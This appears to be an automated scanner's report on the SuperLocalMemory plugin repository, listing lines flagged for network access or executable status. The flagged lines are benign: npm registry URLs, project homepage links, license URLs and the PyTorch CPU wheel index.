"version": "2.27.1", "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz", "integrity": "sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==", - Network accessline 470
"resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz", - Network accessline 475
"node_modules/minimalistic-assert": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", - Network accessline 476
"version": "1.0.1", "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", - Network accessline 477
"resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", - Network accessline 481
"node_modules/nanoid": { "version": "5.1.16", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.16.tgz", - Network accessline 482
"version": "5.1.16", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.16.tgz", "integrity": "sha512-kVrnsrJqMR8+oLJnGEmSWw9BivK5mt7H3FZatVRjrc5wGqFYuBxX1yG7+A7Gi5AefkX6t/oCkizcQgpu0cY1dQ==", - Network accessline 483
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.16.tgz", - Network accessline 486
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 487
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 488
"url": "https://github.com/sponsors/ai" - Network accessline 499
"node_modules/pako": { "version": "1.0.11", "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - Network accessline 500
"version": "1.0.11", "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", - Network accessline 501
"resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - Network accessline 505
"node_modules/parse5": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz", - Network accessline 506
"version": "8.0.1", "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz", "integrity": "sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==", - Network accessline 507
"resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz", - Network accessline 513
}, "funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" - Network accessline 514
"funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" } - Network accessline 515
"url": "https://github.com/inikulin/parse5?sponsor=1" - Network accessline 518
"node_modules/process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - Network accessline 519
"version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - Network accessline 520
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - Network accessline 524
"node_modules/punycode": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 525
"version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - Network accessline 526
"resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 534
"node_modules/readable-stream": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", - Network accessline 535
"version": "2.3.8", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", - Network accessline 536
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", - Network accessline 549
"node_modules/require-from-string": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - Network accessline 550
"version": "2.0.2", "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - Network accessline 551
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - Network accessline 559
"node_modules/safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - Network accessline 560
"version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - Network accessline 561
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - Network accessline 565
"node_modules/sax": { "version": "1.4.4", "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.4.tgz", - Network accessline 566
"version": "1.4.4", "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.4.tgz", "integrity": "sha512-1n3r/tGXO6b6VXMdFT54SHzT9ytu9yr7TaELowdYpMqY/Ao7EnlQGmAQ1+RatX7Tkkdm6hONI2owqNx2aZj5Sw==", - Network accessline 567
"resolved": "https://registry.npmjs.org/sax/-/sax-1.4.4.tgz", - Network accessline 574
"node_modules/saxes": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - Network accessline 575
"version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", - Network accessline 576
"resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - Network accessline 587
"node_modules/setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - Network accessline 588
"version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", - Network accessline 589
"resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - Network accessline 593
"node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - Network accessline 594
"version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - Network accessline 595
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - Network accessline 603
"node_modules/string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - Network accessline 604
"version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - Network accessline 605
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - Network accessline 612
"node_modules/symbol-tree": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - Network accessline 613
"version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - Network accessline 614
"resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - Network accessline 619
"node_modules/tldts": { "version": "7.4.3", "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.3.tgz", - Network accessline 620
"version": "7.4.3", "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.3.tgz", "integrity": "sha512-A3BDQBeeukYPzB4QdQ1DtdlUmp4x2OCH8n5UVhEWbyANxNep8GavottKzd1xYKFJKjUgMyPT7EzOfnBO55s8Sg==", - Network accessline 621
"resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.3.tgz", - Network accessline 632
"node_modules/tldts-core": { "version": "7.4.3", "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.3.tgz", - Network accessline 633
"version": "7.4.3", "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.3.tgz", "integrity": "sha512-27ep5H9PzdBrNd5OFM/j3WCU8F3kPwM9D0BOaOf7uYfxMJfyr0K5Tjj69Gri+sZlh2WXd5buIm47NuPF29CDiw==", - Network accessline 634
"resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.3.tgz", - Network accessline 639
"node_modules/tough-cookie": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", - Network accessline 640
"version": "6.0.1", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==", - Network accessline 641
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", - Network accessline 652
"node_modules/tr46": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz", - Network accessline 653
"version": "6.0.0", "resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz", "integrity": "sha512-bLVMLPtstlZ4iMQHpFHTR7GAGj2jxi8Dg0s2h2MafAE4uSWF98FC/3MomU51iQAMf8/qDUbKWf5GxuvvVcXEhw==", - Network accessline 654
"resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz", - Network accessline 665
"node_modules/undici": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", - Network accessline 666
"version": "7.28.0", "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", - Network accessline 667
"resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", - Network accessline 675
"node_modules/undici-types": { "version": "7.24.6", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", - Network accessline 676
"version": "7.24.6", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", - Network accessline 677
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", - Network accessline 681
"node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - Network accessline 682
"version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - Network accessline 683
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - Network accessline 687
"node_modules/w3c-xmlserializer": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - Network accessline 688
"version": "5.0.0", "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", - Network accessline 689
"resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - Network accessline 700
"node_modules/webidl-conversions": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz", - Network accessline 701
"version": "8.0.1", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz", "integrity": "sha512-BMhLD/Sw+GbJC21C/UgyaZX41nPt8bUTg+jWyDeg7e7YN4xOM05YPSIXceACnXVtqyEw/LMClUQMtMZ+PGGpqQ==", - Network accessline 702
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz", - Network accessline 710
"node_modules/whatwg-mimetype": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz", - Network accessline 711
"version": "5.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz", "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==", - Network accessline 712
"resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz", - Network accessline 720
"node_modules/whatwg-url": { "version": "16.0.1", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz", - Network accessline 721
"version": "16.0.1", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz", "integrity": "sha512-1to4zXBxmXHV3IiSSEInrreIlu02vUOvrhxJJH5vcxYTBDAx51cqZiKdyTxlecdKNSjj8EcxGBxNf6Vg+945gw==", - Network accessline 722
"resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz", - Network accessline 735
"node_modules/xml": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", - Network accessline 736
"version": "1.0.1", "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", "integrity": "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw==", - Network accessline 737
"resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", - Network accessline 741
"node_modules/xml-js": { "version": "1.6.11", "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", - Network accessline 742
"version": "1.6.11", "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", - Network accessline 743
"resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", - Network accessline 753
"node_modules/xml-name-validator": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - Network accessline 754
"version": "5.0.0", "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", - Network accessline 755
"resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - Network accessline 763
"node_modules/xmlchars": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - Network accessline 764
"version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - Network accessline 765
"resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
package.json
- Executable scriptline 1
Executable file - Network accessline 40
"name": "Varun Pratap Bhardwaj", "email": "admin@superlocalmemory.com", "url": "https://varunpratap.com" - Network accessline 41
"email": "admin@superlocalmemory.com", "url": "https://varunpratap.com" }, - Network accessline 42
"url": "https://varunpratap.com" - Network accessline 45
"repository": { "type": "git", "url": "https://github.com/qualixar/superlocalmemory.git" - Network accessline 46
"type": "git", "url": "https://github.com/qualixar/superlocalmemory.git" }, - Network accessline 47
"url": "https://github.com/qualixar/superlocalmemory.git" - Network accessline 48
}, "homepage": "https://superlocalmemory.com", "mcpName": "io.github.qualixar/superlocalmemory", - Network accessline 49
"homepage": "https://superlocalmemory.com", - Network accessline 50
"mcpName": "io.github.qualixar/superlocalmemory", "bugs": { "url": "https://github.com/qualixar/superlocalmemory/issues" - Network accessline 51
"bugs": { "url": "https://github.com/qualixar/superlocalmemory/issues" }, - Network accessline 52
"url": "https://github.com/qualixar/superlocalmemory/issues" - Network accessline 118
"funding": { "type": "github", "url": "https://github.com/sponsors/varun369" - Network accessline 119
"type": "github", "url": "https://github.com/sponsors/varun369" }, - Network accessline 120
"url": "https://github.com/sponsors/varun369" - Network accessline 124
"name": "Varun Pratap Bhardwaj", "email": "admin@superlocalmemory.com", "url": "https://github.com/varun369" - Network accessline 125
"email": "admin@superlocalmemory.com", "url": "https://github.com/varun369" } - Network accessline 126
"url": "https://github.com/varun369"
plugin-src/MCP_JSON_NOTES.md
- Network accessline 70
Why this expands the way it does: Claude Code substitutes `${CLAUDE_PLUGIN_ROOT}` literally first and then expands `${VAR}` / `${VAR:-default}` (https://code.claude.com/docs/en/mcp — "Environment variable - Network accessline 71
`${CLAUDE_PLUGIN_ROOT}` literally first and then expands `${VAR}` / `${VAR:-default}` (https://code.claude.com/docs/en/mcp — "Environment variable expansion"; the two-pass order was read from the 2.1.229 binary). So by the - Network accessline 72
`${VAR:-default}` (https://code.claude.com/docs/en/mcp — "Environment variable
plugin-src/docs/README.md
plugin-src/hermes/README.md
plugin-src/hermes/__init__.py
- Executable scriptline 1
Executable file
plugin-src/hermes/plugin.yaml
- Network accessline 6
api_version: 1 license: AGPL-3.0-or-later homepage: https://github.com/qualixar/superlocalmemory - Network accessline 7
license: AGPL-3.0-or-later homepage: https://github.com/qualixar/superlocalmemory tags: [memory, local-first, mcp, agent-reliability] - Network accessline 8
homepage: https://github.com/qualixar/superlocalmemory
plugin-src/hermes/remote.py
- Executable scriptline 1
Executable file
plugin-src/manifest.json
- Network accessline 3
"pluginName": "superlocalmemory", "displayName": "SuperLocalMemory", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 4
"displayName": "SuperLocalMemory", "repository": "https://github.com/qualixar/superlocalmemory", "keywords": [ - Network accessline 5
"repository": "https://github.com/qualixar/superlocalmemory",
plugin-src/requirements-cpu-torch.txt
- Network accessline 1
# CPU-only torch pin for the Linux-no-GPU path (ensure-venv.sh). # # Installed from https://download.pytorch.org/whl/cpu, which publishes the - Network accessline 2
# # Installed from https://download.pytorch.org/whl/cpu, which publishes the # same public version with a `+cpu` local segment — PEP 440 ignores the local - Network accessline 3
# Installed from https://download.pytorch.org/whl/cpu, which publishes the
plugin-src/scripts/ensure-venv.bat
- Executable scriptline 1
Executable file
plugin-src/scripts/ensure-venv.sh
plugin-src/scripts/slm-launch
plugin-src/scripts/slm-launch.bat
- Executable scriptline 1
Executable file
plugin-src/scripts/slm-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugin-src/scripts/slm-run
plugin-src/scripts/torch-cpu-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 8
# documents the same PyPI default for `uv pip`; plain pip resolves the same # index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: - Network accessline 9
# index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: # pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 10
# https://pytorch.org/get-started/locally/ as: - Network accessline 11
# pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 26
TORCH_CPU_INDEX_URL="https://download.pytorch.org/whl/cpu"
plugin-src/skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
plugin-src/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
plugin-src/skills/slm-recall/SKILL.md
plugin-src/skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
plugin/.claude-plugin/plugin.json
- Network accessline 2
"author": { "name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" - Network accessline 3
"name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" }, - Network accessline 4
"url": "https://github.com/qualixar/superlocalmemory" - Network accessline 6
"description": "Local-first agent memory + reversible context compression and KV cache, as an MCP server, with optional pictures, PDFs and bot messaging. Serves the 58-tool full profile by default; `slm tools set <name>` changes it for ever - Network accessline 7
"displayName": "SuperLocalMemory", "documentationUrl": "https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md", "homepage": "https://superlocalmemory.com", - Network accessline 8
"documentationUrl": "https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md", - Network accessline 9
"homepage": "https://superlocalmemory.com", - Network accessline 19
"mcpServers": "./.mcp.json", "name": "superlocalmemory", "privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", - Network accessline 20
"name": "superlocalmemory", "privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 21
"privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", - Network accessline 22
"repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 23
"supportUrl": "https://github.com/qualixar/superlocalmemory/issues", - Network accessline 24
"termsOfServiceUrl": "https://qualixar.com/terms",
plugin/LICENSE
- Network accessline 4
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> - Network accessline 645
You should have received a copy of the GNU Affero General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 646
along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 659
if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>. - Network accessline 661
<https://www.gnu.org/licenses/>.
plugin/README.md
plugin/kimi.plugin.json
- Network accessline 9
"shortDescription": "Local-first memory for your agents", "developerName": "Qualixar", "websiteURL": "https://superlocalmemory.com" - Network accessline 10
"developerName": "Qualixar", "websiteURL": "https://superlocalmemory.com" }, - Network accessline 11
"websiteURL": "https://superlocalmemory.com"
plugin/mcp.json
plugin/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 6
"author": { "name": "Qualixar", "url": "https://github.com/qualixar" - Network accessline 7
"name": "Qualixar", "url": "https://github.com/qualixar" }, - Network accessline 8
"url": "https://github.com/qualixar" - Network accessline 17
"context" ], "homepage": "https://superlocalmemory.com", - Network accessline 18
], "homepage": "https://superlocalmemory.com", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 19
"homepage": "https://superlocalmemory.com", - Network accessline 20
"repository": "https://github.com/qualixar/superlocalmemory",
plugin/requirements-cpu-torch.txt
- Network accessline 1
# CPU-only torch pin for the Linux-no-GPU path (ensure-venv.sh). # # Installed from https://download.pytorch.org/whl/cpu, which publishes the - Network accessline 2
# # Installed from https://download.pytorch.org/whl/cpu, which publishes the # same public version with a `+cpu` local segment — PEP 440 ignores the local - Network accessline 3
# Installed from https://download.pytorch.org/whl/cpu, which publishes the
plugin/scripts/ensure-venv.bat
- Executable scriptline 1
Executable file
plugin/scripts/ensure-venv.sh
plugin/scripts/slm-launch
plugin/scripts/slm-launch.bat
- Executable scriptline 1
Executable file
plugin/scripts/slm-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugin/scripts/slm-run
plugin/scripts/torch-cpu-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 8
# documents the same PyPI default for `uv pip`; plain pip resolves the same # index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: - Network accessline 9
# index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: # pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 10
# https://pytorch.org/get-started/locally/ as: - Network accessline 11
# pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 26
TORCH_CPU_INDEX_URL="https://download.pytorch.org/whl/cpu"
plugin/skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
plugin/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
plugin/skills/slm-recall/SKILL.md
plugin/skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
pyproject.toml
- Network accessline 192
[project.urls] Homepage = "https://superlocalmemory.com" - Network accessline 193
Homepage = "https://superlocalmemory.com" - Network accessline 194
Repository = "https://github.com/qualixar/superlocalmemory" - Network accessline 195
Documentation = "https://github.com/qualixar/superlocalmemory/wiki" - Network accessline 196
Issues = "https://github.com/qualixar/superlocalmemory/issues"
scripts/__tests__/build-all-plugins.test.mjs
- Executable scriptline 1
Executable file
scripts/__tests__/build-cursor-plugin.test.mjs
- Executable scriptline 1
Executable file - Network accessline 37
version: '9.8.7', pluginName: 'superlocalmemory', repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 38
pluginName: 'superlocalmemory', repository: 'https://github.com/qualixar/superlocalmemory', marketplace: { ownerEmail: 'owner@example.com', description: 'x' }, - Network accessline 39
repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 43
// Fields https://cursor.com/docs/reference/plugins documents for plugin.json.
scripts/__tests__/build-plugin.test.mjs
- Executable scriptline 1
Executable file - Network accessline 77
pluginName: 'superlocalmemory', displayName: 'SuperLocalMemory', repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 78
displayName: 'SuperLocalMemory', repository: 'https://github.com/qualixar/superlocalmemory', keywords: ['memory', 'mcp', 'agents', 'local-first', 'context-compression'], - Network accessline 79
repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 96
